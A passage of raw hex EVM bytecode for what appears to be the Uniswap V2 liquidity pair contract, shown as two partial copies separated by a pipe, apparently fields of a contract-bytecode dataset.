18565b60408051918252519081900360200190f35b61034e600480360360608110156103c357600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813581169160208101359091169060400135610e1e565b61039b610efd565b610400610f21565b6040805160ff9092168252519081900360200190f35b61039b610f26565b6102576004803603604081101561043457600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81358116916020013516610f2c565b61039b611005565b61039b61100b565b61039b6004803603602081101561047f57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16611011565b61039b600480360360208110156104b257600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166113cb565b61039b6113dd565b61039b600480360360208110156104ed57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166113e3565b61053d6004803603602081101561052057600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166113f5565b6040805192835260208301919091528051918290030190f35b610261611892565b61034e6004803603604081101561057457600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81351690602001356118cb565b61039b6118d8565b610257600480360360208110156105b557600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166118de565b61036a611ad4565b61036a611af0565b610257600480360360e08110156105f857600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813581169160208101359091169060408101359060608101359060ff6080820135169060a08101359060c00135611b0c565b61039b6004803603604081101561065657600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81358116916020013516611dd8565b610257611df5565b600c546001146106f457604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c55841515806107075750600084115b61075c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612b2f6025913960400191505060405180910390fd5b600080610767610d90565b5091509150816dffffffffffffffffffffffffffff168710801561079a5750806dffffffffffffffffffffffffffff1686105b6107ef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180612b786021913960400191505060405180910390fd5b600654600754600091829173ffffffffffffffffffffffffffffffffffffffff91821691908116908916821480159061085457508073ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff1614155b6108bf57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f556e697377617056323a20494e56414c49445f544f0000000000000000000000604482015290519081900360640190fd5b8a156108d0576108d0828a8d611fdb565b89156108e1576108e1818a8c611fdb565b86156109c3578873ffffffffffffffffffffffffffffffffffffffff166310d1e85c338d8d8c8c6040518663ffffffff1660e01b8152600401808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001858152602001848152602001806020018281038252848482818152602001925080828437600081840152601f19601f8201169050808301925050509650505050505050600060405180830381600087803b1580156109aa57600080fd5b505af11580156109be573d6000803e3d6000fd5b505050505b604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff8416916370a08231916024808301926020929190829003018186803b158015610a2f57600080fd5b505afa158015610a43573d6000803e3d6000fd5b505050506040513d6020811015610a5957600080fd5b5051604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905191955073ffffffffffffffffffffffffffffffffffffffff8316916370a0823191602480820192602092909190829003018186803b158015610acb57600080fd5b505afa158015610adf573d6000803e3d6000fd5b505050506040513d6020811015610af557600080fd5b5051925060009150506dffffffffffffffffffffffffffff85168a90038311610b1f576000610b35565b89856dffffffffffffffffffffffffffff160383035b9050600089856dffffffffffffffffffffffffffff16038311610b59576000610b6f565b89856dffffffffffffffffffffffffffff160383035b90506000821180610b805750600081115b610bd5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180612b546024913960400191505060405180910390fd5b6000610c09610beb84600363ffffffff6121e816565b610bfd876103e863ffffffff6121e816565b9063ffffffff61226e16565b90506000610c21610beb84600363ffffffff6121e816565b9050610c59620f4240610c4d6dffffffffffffffffffffffffffff8b8116908b1663ffffffff6121e816565b9063ffffffff6121e816565b610c69838363ffffffff6121e816565b1015610cd657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600c60248201527f556e697377617056323a204b0000000000000000000000000000000000000000604482015290519081900360640190fd5b5050610ce4848488886122e0565b60408051838152602081018390528082018d9052606081018c9052905173ffffffffffffffffffffffffffffffffffffffff8b169133917fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8229181900360800190a350506001600c55505050505050505050565b6040518060400160405280600a81526020017f556e69737761702056320000000000000000000000000000000000000000000081525081565b6008546dffffffffffffffffffffffffffff808216926e0100000000000000000000000000008304909116917c0100000000000000000000000000000000000000000000000000000000900463ffffffff1690565b6000610df233848461259c565b5060015b92915050565b60065473ffffffffffffffffffffffffffffffffffffffff1681565b60005481565b73ffffffffffffffffffffffffffffffffffffffff831660009081526002602090815260408083203384529091528120547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff14610ee85773ffffffffffffffffffffffffffffffffffffffff84166000908152600260209081526040808320338452909152902054610eb6908363ffffffff61226e16565b73ffffffffffffffffffffffffffffffffffffffff851660009081526002602090815260408083203384529091529020555b610ef384848461260b565b5060019392505050565b7f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c981565b601281565b60035481565b60055473ffffffffffffffffffffffffffffffffffffffff163314610fb257604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f556e697377617056323a20464f5242494444454e000000000000000000000000604482015290519081900360640190fd5b6006805473ffffffffffffffffffffffffffffffffffffffff9384167fffffffffffffffffffffffff00000000000000000000000000000000000000009182161790915560078054929093169116179055565b60095481565b600a5481565b6000600c5460011461108457604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c81905580611094610d90565b50600654604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905193955091935060009273ffffffffffffffffffffffffffffffffffffffff909116916370a08231916024808301926020929190829003018186803b15801561110e57600080fd5b505afa158015611122573d6000803e3d6000fd5b505050506040513d602081101561113857600080fd5b5051600754604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905192935060009273ffffffffffffffffffffffffffffffffffffffff909216916370a0823191602480820192602092909190829003018186803b1580156111b157600080fd5b505afa1580156111c5573d6000803e3d6000fd5b505050506040513d60208110156111db57600080fd5b505190506000611201836dffffffffffffffffffffffffffff871663ffffffff61226e16565b90506000611225836dffffffffffffffffffffffffffff871663ffffffff61226e16565b9050600061123387876126ec565b600054909150806112705761125c6103e8610bfd611257878763ffffffff6121e816565b612878565b985061126b60006103e86128ca565b6112cd565b6112ca6dffffffffffffffffffffffffffff8916611294868463ffffffff6121e816565b8161129b57fe5b046dffffffffffffffffffffffffffff89166112bd868563ffffffff6121e816565b816112c457fe5b0461297a565b98505b60008911611326576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526028815260200180612bc16028913960400191505060405180910390fd5b6113308a8a6128ca565b61133c86868a8a6122e0565b811561137e5760085461137a906dffffffffffffffffffffffffffff808216916e01000000000000000000000000000090041663ffffffff6121e816565b600b555b6040805185815260208101859052815133927f4c209b5fc8ad50758f13e2e1088ba56a560dff690a1c6fef26394f4c03821c4f928290030190a250506001600c5550949695505050505050565b60016020526000908152604090205481565b600b5481565b60046020526000908152604090205481565b600080600c5460011461146957604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c81905580611479610d90565b50600654600754604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905194965092945073ffffffffffffffffffffffffffffffffffffffff9182169391169160009184916370a08231916024808301926020929190829003018186803b1580156114fb57600080fd5b505afa15801561150f573d6000803e3d6000fd5b505050506040513d602081101561152557600080fd5b5051604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905191925060009173ffffffffffffffffffffffffffffffffffffffff8516916370a08231916024808301926020929190829003018186803b15801561159957600080fd5b505afa1580156115ad573d6000803e3d6000fd5b505050506040513d60208110156115c357600080fd5b5051306000908152600160205260408120549192506115e288886126ec565b600054909150806115f9848763ffffffff6121e816565b8161160057fe5b049a5080611614848663ffffffff6121e816565b8161161b57fe5b04995060008b11801561162e575060008a115b611683576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526028815260200180612b996028913960400191505060405180910390fd5b61168d3084612992565b611698878d8d611fdb565b6116a3868d8c611fdb565b604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff8916916370a08231916024808301926020929190829003018186803b15801561170f57600080fd5b505afa158015611723573d6000803e3d6000fd5b505050506040513d602081101561173957600080fd5b5051604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905191965073ffffffffffffffffffffffffffffffffffffffff8816916370a0823191602480820192602092909190829003018186803b1580156117ab57600080fd5b505afa1580156117bf573d6000803e3d6000fd5b505050506040513d60208110156117d557600080fd5b505193506117e585858b8b6122e0565b811561182757600854611823906dffffffffffffffffffffffffffff808216916e01000000000000000000000000000090041663ffffffff6121e816565b600b555b604080518c8152602081018c9052815173ffffffffffffffffffffffffffffffffffffffff8f169233927fdccd412f0b1252819cb1fd330b93224ca42612892bb3f4f789976e6d81936496929081900390910190a35050505050505050506001600c81905550915091565b6040518060400160405280600681526020017f554e492d5632000000000000000000000000000000000000000000000000000081525081565b6000610df233848461260b565b6103e881565b600c5460011461194f57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c55600654600754600854604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff9485169490931692611a2b9285928792611a26926dffffffffffffffffffffffffffff169185916370a0823191602480820192602092909190829003018186803b1580156119ee57600080fd5b505afa158015611a02573d6000803e3d6000fd5b505050506040513d6020811015611a1857600080fd5b50519063ffffffff61226e16565b611fdb565b600854604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051611aca9284928792611a26926e01000000000000000000000000000090046dffffffffffffffffffffffffffff169173ffffffffffffffffffffffffffffffffffffffff8616916370a0823191602480820192602092909190829003018186803b1580156119ee57600080fd5b50506001600c5550565b60055473ffffffffffffffffffffffffffffffffffffffff1681565b60075473ffffffffffffffffffffffffffffffffffffffff1681565b42841015611b7b57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601260248201527f556e697377617056323a20455850495245440000000000000000000000000000604482015290519081900360640190fd5b60035473ffffffffffffffffffffffffffffffffffffffff80891660008181526004602090815260408083208054600180820190925582517f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c98186015280840196909652958d166060860152608085018c905260a085019590955260c08085018b90528151808603909101815260e0850182528051908301207f19010000000000000000000000000000000000000000000000000000000000006101008601526101028501969096526101228085019690965280518085039096018652610142840180825286519683019690962095839052610162840180825286905260ff89166101828501526101a284018890526101c28401879052519193926101e2808201937fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe081019281900390910190855afa158015611cdc573d6000803e3d6000fd5b50506040517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0015191505073ffffffffffffffffffffffffffffffffffffffff811615801590611d5757508873ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16145b611dc257604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f556e697377617056323a20494e56414c49445f5349474e415455524500000000604482015290519081900360640190fd5b611dcd89898961259c565b505050505050505050565b600260209081526000928352604080842090915290825290205481565b600c54600114611e6657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c55600654604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051611fd49273ffffffffffffffffffffffffffffffffffffffff16916370a08231916024808301926020929190829003018186803b158015611edd57600080fd5b505afa158015611ef1573d6000803e3d6000fd5b505050506040513d6020811015611f0757600080fd5b5051600754604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff909216916370a0823191602480820192602092909190829003018186803b158015611f7a57600080fd5b505afa158015611f8e573d6000803e3d6000fd5b505050506040513d6020811015611fa457600080fd5b50516008546dffffffffffffffffffffffffffff808216916e0100000000000000000000000000009004166122e0565b6001600c55565b604080518082018252601981527f7472616e7366657228616464726573732c75696e743235362900000000000000602091820152815173ffffffffffffffffffffffffffffffffffffffff85811660248301526044808301869052845180840390910181526064909201845291810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fa9059cbb000000000000000000000000000000000000000000000000000000001781529251815160009460609489169392918291908083835b602083106120e157805182527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe090920191602091820191016120a4565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114612143576040519150601f19603f3d011682016040523d82523d6000602084013e612148565b606091505b5091509150818015612176575080511580612176575080806020019051602081101561217357600080fd5b50515b6121e157604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601a60248201527f556e697377617056323a205452414e534645525f4641494c4544000000000000604482015290519081900360640190fd5b5050505050565b60008115806122035750508082028282828161220057fe5b04145b610df657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f64732d6d6174682d6d756c2d6f766572666c6f77000000000000000000000000604482015290519081900360640190fd5b80820382811115610df657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f64732d6d6174682d7375622d756e646572666c6f770000000000000000000000604482015290519081900360640190fd5b6dffffffffffffffffffffffffffff841180159061230c57506dffffffffffffffffffffffffffff8311155b61237757604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601360248201527f556e697377617056323a204f564552464c4f5700000000000000000000000000604482015290519081900360640190fd5b60085463ffffffff428116917c0100000000000000000000000000000000000000000000000000000000900481168203908116158015906123c757506dffffffffffffffffffffffffffff841615155b80156123e257506dffffffffffffffffffffffffffff831615155b15612492578063ffffffff16612425856123fb86612a57565b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff169063ffffffff612a7b16565b600980547bffffffffffffffffffffffffffffffffffffffffffffffffffffffff929092169290920201905563ffffffff8116612465846123fb87612a57565b600a80547bffffffffffffffffffffffffffffffffffffffffffffffffffffffff92909216929092020190555b600880547fffffffffffffffffffffffffffffffffffff0000000000000000000000000000166dffffffffffffffffffffffffffff888116919091177fffffffff0000000000000000000000000000ffffffffffffffffffffffffffff166e0100000000000000000000000000008883168102919091177bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167c010000000000000000000000000000000000000000000000000000000063ffffffff871602179283905560408051848416815291909304909116602082015281517f1c411e9a96e071241c2f21f7726b17ae89e3cab4c78be50e062b03a9fffbbad1929181900390910190a1505050505050565b73ffffffffffffffffffffffffffffffffffffffff808416600081815260026020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b73ffffffffffffffffffffffffffffffffffffffff8316600090815260016020526040902054612641908263ffffffff61226e16565b73ffffffffffffffffffffffffffffffffffffffff8085166000908152600160205260408082209390935590841681522054612683908263ffffffff612abc16565b73ffffffffffffffffffffffffffffffffffffffff80841660008181526001602090815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b600080600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663017e7e586040518163ffffffff1660e01b815260040160206040518083038186803b15801561275757600080fd5b505afa15801561276b573d6000803e3d6000fd5b505050506040513d602081101561278157600080fd5b5051600b5473ffffffffffffffffffffffffffffffffffffffff821615801594509192509061286457801561285f5760006127d86112576dffffffffffffffffffffffffffff88811690881663ffffffff6121e816565b905060006127e583612878565b90508082111561285c576000612813612804848463ffffffff61226e16565b6000549063ffffffff6121e816565b905060006128388361282c86600563ffffffff6121e816565b9063ffffffff612abc16565b9050600081838161284557fe5b04905080156128585761285887826128ca565b5050505b50505b612870565b8015612870576000600b555b505092915050565b600060038211156128bb575080600160028204015b818110156128b5578091506002818285816128a457fe5b0401816128ad57fe5b04905061288d565b506128c5565b81156128c5575060015b919050565b6000546128dd908263ffffffff612abc16565b600090815573ffffffffffffffffffffffffffffffffffffffff8316815260016020526040902054612915908263ffffffff612abc16565b73ffffffffffffffffffffffffffffffffffffffff831660008181526001602090815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b6000818310612989578161298b565b825b9392505050565b73ffffffffffffffffffffffffffffffffffffffff82166000908152600160205260409020546129c8908263ffffffff61226e16565b73ffffffffffffffffffffffffffffffffffffffff831660009081526001602052604081209190915554612a02908263ffffffff61226e16565b600090815560408051838152905173ffffffffffffffffffffffffffffffffffffffff8516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef919081900360200190a35050565b6dffffffffffffffffffffffffffff166e0100000000000000000000000000000290565b60006dffffffffffffffffffffffffffff82167bffffffffffffffffffffffffffffffffffffffffffffffffffffffff841681612ab457fe5b049392505050565b80820182811015610df657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f64732d6d6174682d6164642d6f766572666c6f77000000000000000000000000604482015290519081900360640190fdfe556e697377617056323a20494e53554646494349454e545f4f55545055545f414d4f554e54556e697377617056323a20494e53554646494349454e545f494e5055545f414d4f554e54556e697377617056323a20494e53554646494349454e545f4c4951554944495459556e697377617056323a20494e53554646494349454e545f4c49515549444954595f4255524e4544556e697377617056323a20494e53554646494349454e545f4c49515549444954595f4d494e544544a265627a7a723158207dca18479e58487606bf70c79e44d8dee62353c9ee6d01f9a9d70885b8765f2264736f6c63430005100032454950373132446f6d61696e28737472696e67206e616d652c737472696e672076657273696f6e2c75696e7432353620636861696e49642c6164647265737320766572696679696e67436f6e747261637429 | 608060405234801561001057600080fd5b50600436106101b95760003560e01c80636a627842116100f9578063ba9a7a5611610097578063d21220a711610071578063d21220a7146105da578063d505accf146105e2578063dd62ed3e14610640578063fff6cae91461067b576101b9565b8063ba9a7a5614610597578063bc25cf771461059f578063c45a0155146105d2576101b9565b80637ecebe00116100d35780637ecebe00146104d757806389afcb441461050a57806395d89b4114610556578063a9059cbb1461055e576101b9565b80636a6278421461046957806370a082311461049c5780637464fc3d146104cf576101b9565b806323b872dd116101665780633644e515116101405780633644e51514610416578063485cc9551461041e5780635909c0d5146104595780635a3d549314610461576101b9565b806323b872dd146103ad57806330adf81f146103f0578063313ce567146103f8576101b9565b8063095ea7b311610197578063095ea7b3146103155780630dfe16811461036257806318160ddd14610393576101b9565b8063022c0d9f146101be57806306fdde03146102595780630902f1ac146102d6575b600080fd5b610257600480360360808110156101d457600080fd5b81359160208101359173ffffffffffffffffffffffffffffffffffffffff604083013516919081019060808101606082013564010000000081111561021857600080fd5b82018360208201111561022a57600080fd5b8035906020019184600183028401116401000000008311171561024c57600080fd5b509092509050610683565b005b610261610d57565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561029b578181015183820152602001610283565b50505050905090810190601f1680156102c85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102de610d90565b604080516dffffffffffffffffffffffffffff948516815292909316602083015263ffffffff168183015290519081900360600190f35b61034e6004803603604081101561032b57600080fd5b5073ffffffffffffffffffffffffffffffffffffffff8135169060200135610de5565b604080519115158252519081900360200190f35b61036a610dfc565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b61039b610e18565b60408051918252519081900360200190f35b61034e600480360360608110156103c357600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813581169160208101359091169060400135610e1e565b61039b610efd565b610400610f21565b6040805160ff9092168252519081900360200190f35b61039b610f26565b6102576004803603604081101561043457600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81358116916020013516610f2c565b61039b611005565b61039b61100b565b61039b6004803603602081101561047f57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16611011565b61039b600480360360208110156104b257600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166113cb565b61039b6113dd565b61039b600480360360208110156104ed57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166113e3565b61053d6004803603602081101561052057600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166113f5565b6040805192835260208301919091528051918290030190f35b610261611892565b61034e6004803603604081101561057457600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81351690602001356118cb565b61039b6118d8565b610257600480360360208110156105b557600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166118de565b61036a611ad4565b61036a611af0565b610257600480360360e08110156105f857600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813581169160208101359091169060408101359060608101359060ff6080820135169060a08101359060c00135611b0c565b61039b6004803603604081101561065657600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81358116916020013516611dd8565b610257611df5565b600c546001146106f457604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c55841515806107075750600084115b61075c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612b2f6025913960400191505060405180910390fd5b600080610767610d90565b5091509150816dffffffffffffffffffffffffffff168710801561079a5750806dffffffffffffffffffffffffffff1686105b6107ef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180612b786021913960400191505060405180910390fd5b600654600754600091829173ffffffffffffffffffffffffffffffffffffffff91821691908116908916821480159061085457508073ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff1614155b6108bf57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f556e697377617056323a20494e56414c49445f544f0000000000000000000000604482015290519081900360640190fd5b8a156108d0576108d0828a8d611fdb565b89156108e1576108e1818a8c611fdb565b86156109c3578873ffffffffffffffffffffffffffffffffffffffff166310d1e85c338d8d8c8c6040518663ffffffff1660e01b8152600401808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001858152602001848152602001806020018281038252848482818152602001925080828437600081840152601f19601f8201169050808301925050509650505050505050600060405180830381600087803b1580156109aa57600080fd5b505af11580156109be573d6000803e3d6000fd5b505050505b604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff8416916370a08231916024808301926020929190829003018186803b158015610a2f57600080fd5b505afa158015610a43573d6000803e3d6000fd5b505050506040513d6020811015610a5957600080fd5b5051604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905191955073ffffffffffffffffffffffffffffffffffffffff8316916370a0823191602480820192602092909190829003018186803b158015610acb57600080fd5b505afa158015610adf573d6000803e3d6000fd5b505050506040513d6020811015610af557600080fd5b5051925060009150506dffffffffffffffffffffffffffff85168a90038311610b1f576000610b35565b89856dffffffffffffffffffffffffffff160383035b9050600089856dffffffffffffffffffffffffffff16038311610b59576000610b6f565b89856dffffffffffffffffffffffffffff160383035b90506000821180610b805750600081115b610bd5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180612b546024913960400191505060405180910390fd5b6000610c09610beb84600363ffffffff6121e816565b610bfd876103e863ffffffff6121e816565b9063ffffffff61226e16565b90506000610c21610beb84600363ffffffff6121e816565b9050610c59620f4240610c4d6dffffffffffffffffffffffffffff8b8116908b1663ffffffff6121e816565b9063ffffffff6121e816565b610c69838363ffffffff6121e816565b1015610cd657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600c60248201527f556e697377617056323a204b0000000000000000000000000000000000000000604482015290519081900360640190fd5b5050610ce4848488886122e0565b60408051838152602081018390528082018d9052606081018c9052905173ffffffffffffffffffffffffffffffffffffffff8b169133917fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8229181900360800190a350506001600c55505050505050505050565b6040518060400160405280600a81526020017f556e69737761702056320000000000000000000000000000000000000000000081525081565b6008546dffffffffffffffffffffffffffff808216926e0100000000000000000000000000008304909116917c0100000000000000000000000000000000000000000000000000000000900463ffffffff1690565b6000610df233848461259c565b5060015b92915050565b60065473ffffffffffffffffffffffffffffffffffffffff1681565b60005481565b73ffffffffffffffffffffffffffffffffffffffff831660009081526002602090815260408083203384529091528120547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff14610ee85773ffffffffffffffffffffffffffffffffffffffff84166000908152600260209081526040808320338452909152902054610eb6908363ffffffff61226e16565b73ffffffffffffffffffffffffffffffffffffffff851660009081526002602090815260408083203384529091529020555b610ef384848461260b565b5060019392505050565b7f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c981565b601281565b60035481565b60055473ffffffffffffffffffffffffffffffffffffffff163314610fb257604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f556e697377617056323a20464f5242494444454e000000000000000000000000604482015290519081900360640190fd5b6006805473ffffffffffffffffffffffffffffffffffffffff9384167fffffffffffffffffffffffff00000000000000000000000000000000000000009182161790915560078054929093169116179055565b60095481565b600a5481565b6000600c5460011461108457604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c81905580611094610d90565b50600654604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905193955091935060009273ffffffffffffffffffffffffffffffffffffffff909116916370a08231916024808301926020929190829003018186803b15801561110e57600080fd5b505afa158015611122573d6000803e3d6000fd5b505050506040513d602081101561113857600080fd5b5051600754604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905192935060009273ffffffffffffffffffffffffffffffffffffffff909216916370a0823191602480820192602092909190829003018186803b1580156111b157600080fd5b505afa1580156111c5573d6000803e3d6000fd5b505050506040513d60208110156111db57600080fd5b505190506000611201836dffffffffffffffffffffffffffff871663ffffffff61226e16565b90506000611225836dffffffffffffffffffffffffffff871663ffffffff61226e16565b9050600061123387876126ec565b600054909150806112705761125c6103e8610bfd611257878763ffffffff6121e816565b612878565b985061126b60006103e86128ca565b6112cd565b6112ca6dffffffffffffffffffffffffffff8916611294868463ffffffff6121e816565b8161129b57fe5b046dffffffffffffffffffffffffffff89166112bd868563ffffffff6121e816565b816112c457fe5b0461297a565b98505b60008911611326576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526028815260200180612bc16028913960400191505060405180910390fd5b6113308a8a6128ca565b61133c86868a8a6122e0565b811561137e5760085461137a906dffffffffffffffffffffffffffff808216916e01000000000000000000000000000090041663ffffffff6121e816565b600b555b6040805185815260208101859052815133927f4c209b5fc8ad50758f13e2e1088ba56a560dff690a1c6fef26394f4c03821c4f928290030190a250506001600c5550949695505050505050565b60016020526000908152604090205481565b600b5481565b60046020526000908152604090205481565b600080600c5460011461146957604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c81905580611479610d90565b50600654600754604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905194965092945073ffffffffffffffffffffffffffffffffffffffff9182169391169160009184916370a08231916024808301926020929190829003018186803b1580156114fb57600080fd5b505afa15801561150f573d6000803e3d6000fd5b505050506040513d602081101561152557600080fd5b5051604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905191925060009173ffffffffffffffffffffffffffffffffffffffff8516916370a08231916024808301926020929190829003018186803b15801561159957600080fd5b505afa1580156115ad573d6000803e3d6000fd5b505050506040513d60208110156115c357600080fd5b5051306000908152600160205260408120549192506115e288886126ec565b600054909150806115f9848763ffffffff6121e816565b8161160057fe5b049a5080611614848663ffffffff6121e816565b8161161b57fe5b04995060008b11801561162e575060008a115b611683576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526028815260200180612b996028913960400191505060405180910390fd5b61168d3084612992565b611698878d8d611fdb565b6116a3868d8c611fdb565b604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff8916916370a08231916024808301926020929190829003018186803b15801561170f57600080fd5b505afa158015611723573d6000803e3d6000fd5b505050506040513d602081101561173957600080fd5b5051604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905191965073ffffffffffffffffffffffffffffffffffffffff8816916370a0823191602480820192602092909190829003018186803b1580156117ab57600080fd5b505afa1580156117bf573d6000803e3d6000fd5b505050506040513d60208110156117d557600080fd5b505193506117e585858b8b6122e0565b811561182757600854611823906dffffffffffffffffffffffffffff808216916e01000000000000000000000000000090041663ffffffff6121e816565b600b555b604080518c8152602081018c9052815173ffffffffffffffffffffffffffffffffffffffff8f169233927fdccd412f0b1252819cb1fd330b93224ca42612892bb3f4f789976e6d81936496929081900390910190a35050505050505050506001600c81905550915091565b6040518060400160405280600681526020017f554e492d5632000000000000000000000000000000000000000000000000000081525081565b6000610df233848461260b565b6103e881565b600c5460011461194f57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c55600654600754600854604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff9485169490931692611a2b9285928792611a26926dffffffffffffffffffffffffffff169185916370a0823191602480820192602092909190829003018186803b1580156119ee57600080fd5b505afa158015611a02573d6000803e3d6000fd5b505050506040513d6020811015611a1857600080fd5b50519063ffffffff6122